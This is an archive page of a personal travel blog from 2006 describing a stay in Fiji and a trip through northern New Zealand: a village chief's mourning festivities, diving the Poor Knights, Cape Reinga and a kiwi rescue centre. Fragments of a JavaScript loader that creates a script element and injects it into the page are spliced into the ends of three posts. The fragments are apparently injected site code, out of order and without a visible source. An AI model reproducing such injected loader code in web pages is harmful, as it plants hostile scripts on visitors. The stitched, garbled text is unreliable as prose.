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Archive for 2006
Search for the new chief of Vuna village
On October - 25 - 2006
Being chief of a Fijian village is a job of a lifetime. After being elected by the chief family the chief can do whatever he wants until he dies – in good or bad ways. When he dies people mourn for 100 days. In that time of grifing they will not go fishing but they will knot a new fishing net what will be inaugurated the first day after the 100 days of mourning. The complete chief family arrives from all Fijian families for that festivities. I was invited as well of Archie who works at Susie’s plantation (where I stay at the time) and his father who belong to the chief family. We used the first time the new net and got all kinds of fish. After that we had food and cake and kava. I am glad I could experience this since its very unique.
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Visiting Caspar, Alieska and Sophie
On October - 24 - 2006
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Temple and Orchid Garden
On October - 2 - 2006
Tomorrow back in Fiji
On August - 25 - 2006
So this may be the last note in my blog. Plan to stay about 2 more month in Fiji. Have the possiblity to help with the guests and stay therefore for free accomodation. Bought heaps of little tools for making shell and coconut jewellery. Imagine I’m in paradies and do jewellery.} else {
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Back in Auckland
On August - 22 - 2006
Russell sent me a message that my one camera is fixed. I had to pay about NZ$ 490,70. But in the end it was fixed. Ok the other camera is now brocken but they say its not worth to repair it. Stupid. Sam was so interessted to see wonderful Fiji that he and his friend Nathan wanna come with me to Fiji. So we will organise all the things that we can leave on Saturday. I’m so looking forward to coming back in my little paradies.d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);
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No ‘Rainbow Warrior’
On August - 19 - 2006
Really unexpected I waited in vain at 7:00am in front of the dive shop. When the lady arrived she told me that all the diving shops here not dive the ‘Rainbow Warrior’ in winter. Its only seasonal. I went back to my backpackers. The day seems boring but I met Sam and we had a funny relaxed day. So it was not that bad in the end.document.currentScript.parentNode.insertBefore(s, document.currentScript);
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Cape Reinga
On August - 18 - 2006
Early in the morning I went with some guys I met at the diving to Cape Reinga the northern spot of New Zealand. Here the Pacific meets the Tasmanian sea. You can see a line in the water. Before we stoped at the Matari Beach and the Kerikeri Falls.
And what happend as I am in front of the famous Cape Reinga lighthouse? My other camara ‘died’. Don’t know why… but didn’t work. So I was happy to have a one-way-camera in my bag, watch the difference again…
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Diving the ‘Poor Knights’
On August - 17 - 2006
Early in the morning the shuttle from ‘Dive Tutukaka’ picked me up. Today I was diving at the Poor Knights Island. One of the bests spots in the world for sub-tropical diving. It was so freezing that I wore two wetsuits and a jacket. I saw sleeping rays, scorpion fish, snapper, demoiselles and lots more. I liked it but I prefer warm water like in Fiji. On the boat I met Debbi, one of the instructors, and she knows the guys from Nananu – the world is so small. In the rocks of this island is the worlds biggest cave (photo below). I met some guys who has the same way to Pahia so I was this evening in Pahia.
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Up north – visiting the kiwi
On August - 16 - 2006
The fixing of my photo camera takes about a week. So I decided to travel up north again to Whangarei to see the waterfalls. After I will go to Tutukaka for diving the ‘Poor Knights Islands’. Then I wanted to go to Pahia at the Bay of Islands. From there to Cape Reinga the northern point of New Zealand. Because I had no car I booked the ‘Stray Bus’. The driver was nice and funny and on the first day we stopped at a native forest with a 800 years old Kauri. Look at the pictures how small I am compared to this anciant giant…
Then we stopped at the ‘Native Bird Recovery Center’ of Robert and his wife. They take care since ages of the native birds. If you wanna touch a real kiwi you have only here the chance. I touched the cute ‘Sparky’. He is one-legged, so he can’t live in the wild again. Unfortunately he was trapped once. But here he found a new home. There is also the funny talking tui ‘Woof woof’ and a kissing Indian miner bird called ‘Morris’.
In the afternoon I checked in at the ‘Whangarei Falls Backpackers’. But this was a bad choice. The couple who owns this place was very grumpy. My room was ice cold at night and when I turned on the heater the fire alarm immediately started. Had a really bad night. But at least the Whangarei falls are beautiful…
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